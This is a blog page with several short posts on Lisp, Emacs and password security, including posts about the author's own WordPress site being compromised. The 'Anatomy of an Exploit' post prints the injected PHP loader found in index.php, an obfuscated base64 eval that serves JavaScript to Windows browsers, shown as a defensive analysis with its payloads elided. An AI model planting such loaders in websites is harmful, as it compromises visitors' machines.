-
Recent Posts
Links
Archives
- July 2026
- June 2026
- May 2026
- April 2026
- March 2026
- February 2026
- January 2026
- December 2025
- November 2025
- October 2025
- September 2025
- August 2025
- July 2025
- June 2025
- May 2025
- April 2025
- March 2025
- February 2025
- January 2025
- December 2024
- November 2024
- October 2024
- September 2024
- August 2024
- July 2024
- June 2024
- May 2024
- April 2024
- March 2024
- February 2024
- January 2024
- December 2023
- November 2023
- October 2023
- September 2023
- August 2023
- July 2023
- June 2023
- May 2023
- April 2023
- March 2023
- February 2023
- January 2023
- December 2022
- November 2022
- October 2022
- September 2022
- August 2022
- July 2022
- June 2022
- May 2022
- April 2022
- March 2022
- February 2022
- January 2022
- December 2021
- November 2021
- October 2021
- September 2021
- August 2021
- July 2021
- June 2021
- May 2021
- April 2021
- March 2021
- February 2021
- January 2021
- December 2020
- November 2020
- October 2020
- September 2020
- August 2020
- July 2020
- June 2020
- May 2020
- April 2020
- March 2020
- February 2020
- January 2020
- December 2019
- November 2019
- October 2019
- September 2019
- August 2019
- July 2019
- June 2019
- May 2019
- April 2019
- March 2019
- February 2019
- January 2019
- December 2018
- November 2018
- October 2018
- September 2018
- August 2018
- July 2018
- June 2018
- May 2018
- April 2018
- March 2018
- February 2018
- January 2018
- December 2017
- November 2017
- October 2017
- September 2017
- August 2017
- July 2017
- June 2017
- May 2017
- April 2017
- March 2017
- February 2017
- January 2017
- December 2016
- November 2016
- October 2016
- September 2016
- August 2016
- July 2016
- June 2016
- May 2016
- April 2016
- March 2016
- February 2016
- January 2016
- December 2015
- November 2015
- October 2015
- September 2015
- August 2015
- July 2015
- June 2015
- May 2015
- April 2015
- March 2015
- February 2015
- January 2015
- December 2014
- November 2014
- October 2014
- September 2014
- August 2014
- July 2014
- June 2014
- May 2014
- April 2014
- March 2014
- February 2014
- January 2014
- December 2013
- November 2013
- October 2013
- September 2013
- August 2013
- July 2013
- June 2013
- May 2013
- April 2013
- March 2013
- February 2013
- January 2013
- December 2012
- November 2012
- October 2012
- September 2012
- August 2012
- July 2012
- June 2012
- May 2012
- April 2012
- March 2012
- February 2012
- January 2012
- December 2011
- November 2011
- October 2011
- September 2011
- August 2011
- July 2011
- June 2011
- May 2011
- April 2011
Categories
Meta
Diceware in Lisp
I recently downloaded the Ironclad Cryptography Library with quicklisp and wanted to give it a spin. I thought a nice little project would be to implement the Diceware password generation algorithm in Lisp. This turned out to be really easy. I was expecting to use Ironclad primitives to get some random data, expand it with hashing, and use the result as an index to choose a word from the dictionary as I did with the C version. Instead, Ironclad provides the strong-random function that can provide the indicies with a single function call.
To implement the Diceware algorithm, I first downloaded the diceware8k.txt file that contains 8,192 words. Having the number of words be a power of 2 avoids a bias from the modulo operation—see Diceware Implementation (Part 2)—although strong-random avoids that at the expense of some extra work. The code itself is very simple:
(in-package #:cl-diceware) (require 'ironclad) (defparameter *words* nil) (defparameter *prng* (ironclad:make-prng :fortuna)) (defun load-words (&optional (wd-list #P "~/Desktop/diceware8k.txt")) "Load *words* with diceware8k.txt." (with-open-file (s wd-list) (do ((wd (read-line s nil) (read-line s nil)) ( i 0 (1+ i))) ((not wd)) (setf (aref *words* i) wd)))) (defun choose-one () "Randomly choose a single word from *words*." (aref *words* (ironclad:strong-random (length *words*) *prng*))) (defun choose-password (n) "Generate n random words for a pass phrase. Initialize *words* if needed" (unless *words* (setf *words* (make-array 8192)) (load-words)) (let (words) (dotimes (i n) (push (choose-one) words)) (reverse words)))
The choose-one function gets a (strong) random number between 0 and 8191 and uses it as an index into the *words* array. The choose-password function loads the dictionary into the *words* array if it hasn’t already been loaded and then calls choose-one the requested number of times. The random words are accumulated in the words local variable and returned at the end.
Here’s a sample call
CL-USER> (cl-diceware:choose-password 6) ("hath" "otto" "fly" "urea" "becalm" "seed")
Choosing 6 words gives 78 bits of entropy, more than enough for today’s hardware and technology.
Update: 6 words gives 72 bits of entropy → 6 words gives 78 bits of entropy
Using Expand-Region
Back in January I wrote about Magnar Sveen’s expand-region package that he described in Emacs Rocks #9. I recently loaded the code with ELPA and have been using it for my day-to-day work. I really like this package. It’s extraordinary how often selecting by semantic unit is the right thing. For a long time I selected text by typing 【Ctrl+Space】 and then manually moving the point with 【Ctrl+f】, 【Meta+f】 or something similar.
In almost every case expand-region will do the right thing with a call or two of 【Ctrl+=】. Take another look at Sveen’s video on expand-region and then download the code. You’ll need to set a keybinding for it in your .emacs or init.el. I use
(global-set-key (kbd "C-=") 'er/expand-region)
but you can, of course, set it to suit yourself. It’s also a good idea to checkout the package’s README on github, which explains how you can extend the package.
Password Reuse
I’ve mentioned Troy Hunt’s writings here before. Hunt writes regularly on security and always has something interesting to say. Last year I wrote about Hunt’s analysis of passwords from the Sony compromise and—sorry but it’s true—the stupid choices people make about passwords. Others have already commented that those people have learned nothing because the same weak, well-known passwords keep showing up, this time on Yahoo!.
It turns out, though, that it’s much worse than we thought. Hunt was interested in password reuse so he compared the passwords used by people who had accounts on both Sony and Yahoo!. Unbelievably, he found that a year after the Sony exploit 59% of users who also had an account on Yahoo! were still using the exact same password on Yahoo!. This despite the fact that those passwords have been public knowledge for over a year.
Working With Rectangles
Xah Lee has a nice updated post on working with rectangles and some other loosely related matters. Every time I see these commands I think how useful they are and then promptly forget about them. I’m going to make an effort to try to use them more often to set them in my mind.
I especially like the replace-rectangle and string-insert-rectangle commands that let you replace the rectangle or add text to the beginning of each line of the rectangle. A sometimes useful related command is kill-rectangle that just deletes the rectangle (and puts it in the kill ring).
Lee also presents a bit of Elisp that shows how to copy a rectangle into the system’s clipboard. I like this not because it’s something I want to do but because of the techniques he uses to copy the rectangle into the kill buffer. It’s something that looks like it could be useful in other contexts.
SUMMARY OF COMMANDS
| COMMAND | KEY BINDING |
|---|---|
replace-rectange |
【Ctrl+x r t】 |
string-insert-rectangle |
Unbound |
kill-rectangle |
【Ctrl+x r k】 |
Juan José García Ripoll: Lisp Hacker
This is slightly old news but over at Lisp, The Universe and Everything there’s a nice interview with Juan José García Ripoll, the developer of Embeddable Common Lisp. The thing about Ripoll is that he’s not a programmer1; he’s a physicist who got into Lisp because he wanted a better way of handling the simulations that were his bread and butter.
It’s interesting that non-programmer scientists, like Ripoll, would turn to what almost everyone considers one of the hardest programming languages to master. Of course, those of us who have embraced Lisp have no difficulty understanding this. Lisp allows the researcher to quickly represent his physical models without worrying about programming minutia. As Ripoll recounts, he was able to leverage the Lisp bignum capabilities to solve a 3-SAT problem in an afternoon and to produce an executable that ran faster than the problem’s C++ prototypes.
I like Ripoll’s story because it demonstrates how powerful Lisp is. If you’re a physicist faced with solving problems like his and your first thought is Fortran, you’re going to get eaten alive both by Fortran and by guys like Ripoll who leverage the power of Lisp.
If you’re a scientist using computer modeling, it would be well worth your while to take a look at Ripoll’s interview. If you’re a Lisper, you’ll love Ripoll’s story of problem solving with Lisp.
Searching for Blog Posts by Title
Last year I wrote about how I search for a blog post’s org file by the post’s title. That involved bringing up a dired buffer for the directory containing the source org files and doing a dired-do-search for a regular expression that looks like
TITLE:[ ]+Blog-Post-Title
That works well but it’s a little fussy because you have to mark all the org files in the dired buffer and the regular expression is tedious to enter. I finally decided it was time to truly automate this chore.
The following code prompts for the title (ignoring case) and then pops up the relevant file in a new buffer.
1: (defun jcs-search-by-title (title) 2: "Search for a bog post source by title." 3: (interactive "sTitle: ") 4: (dolist (f (directory-files "~/org/blog" t ".*\\.org")) 5: (with-temp-buffer 6: (insert-file-contents f) 7: (let ((case-fold-search t)) 8: (if (search-forward-regexp (concat "#\\+TITLE:\\s-*" title) nil t) 9: (progn 10: (find-file f) 11: (return t)))))))
The directory-files on line 4 returns at list of all the .org files in the directory that contains blog posts source files. Each of those files is placed in a temporary buffer on line 6 and a regular expression search is performed for the title line. If the search succeeds, the file is loaded into a new buffer ready for editing.
It doesn’t seem like much of an improvement over the old method but it makes it enough easier that I use it instead of just trying to guess the file’s name. I just love the way that Emacs’ extensibility allows me to optimize my work flow.
Malware Free
I spent most of the day yesterday going over the entire site looking for malware. I made a local copy of irreal.org and grepped for the signatures that I discussed in my Anatomy of an Exploit post. I didn’t find anything so I used curl with the appropriate USER_AGENT string to request pages that Google said were infected. Again, I didn’t find anything so I asked Google to do a rescan and they agree that the site is clean.
As I wrote previously, I’ve upgraded WordPress and I’ve changed passwords so I don’t anticipate any further problems. As annoying as it was having Google flag the site, I’m grateful for them having alerted me—and you—to the problem.
Now back to our regularly scheduled blogging.
Anatomy of an Exploit
As I wrote yesterday, someone hacked the Irreal WordPress installation causing it to inject JavaScript into pages served by the blog. Here’s a copy of the hacked index.php file:
<?php eval(base64_decode('JGlwPSRfU0VSVkVS /* elided */ );?>
<?php
/**
* Front to the WordPress application. This file doesn't do anything, but loads
* wp-blog-header.php which does and tells WordPress to load the theme.
*
* @package WordPress
*/
/**
* Tells WordPress to load the WordPress theme and output it.
*
* @var bool
*/
define('WP_USE_THEMES', true);
/** Loads the WordPress Environment and Template */
require('./wp-blog-header.php');
?>
Importing that file into Emacs and using the base64-decode-region function, that first line turns out to be
<?php
eval(base64_decode('$ip=$_SERVER["REMOTE_ADDR"];$dr=$_SERVER["DOCUMENT_ROOT"];$ua
= $_SERVER['HTTP_USER_AGENT'];$dbf=$dr.'/'.md5($dr);
if((strpos($ua,'Windows')!==false)&&((strpos($ua,'MSIE')!==false)||(strpos($ua,'Firefox')!==false))&&(strpos(@file_get_contents($dbf),$ip)
=== false)){ error_reporting(0);
echo(base64_decode('PHNjcmlwdD50cnl7MS1wcm90b3R5 /* elided */ ); if
($fp = @fopen($dbf , "a")){fputs($fp , $ip.'|'); fclose($fp);} }'));?>
I’m not a PHP or JavaScript programmer so I had to bootstrap my knowledge of C to figure out what’s going on. As you can see, the code checks to see if it’s running on a Windows machine that is using either Internet Explorer or Firefox and also makes a check on the file contents that I don’t understand. If those checks pass, it echos the payload onto the page. Notice that new call to base64_decode. When it’s decoded it expands to some byte-compiled JavaScript. I didn’t bother decompiling it because, as I say, I’m not a JS programmer and would only have a vague notion of what it was doing.
All of this was pretty easy to figure out once I got the index.php file into Emacs. As usual, it had all the tools I needed. I’m beginning to think that there might be something to the old joke that Emacs is not an editor, it’s an operating system.
Malware Warnings
Yesterday, Google started warning that the Irreal blog was unsafe. After some investigation, I determined that the site had, in fact, been compromised and some JavaScript that targeted Windows users (with the MSIE or Firefox browsers) was being served.
I have removed the exploit, upgraded WordPress to the latest version, and asked Google to rescan. As far as I know, everything is fine now. I’ll post in a day or two with some of the details.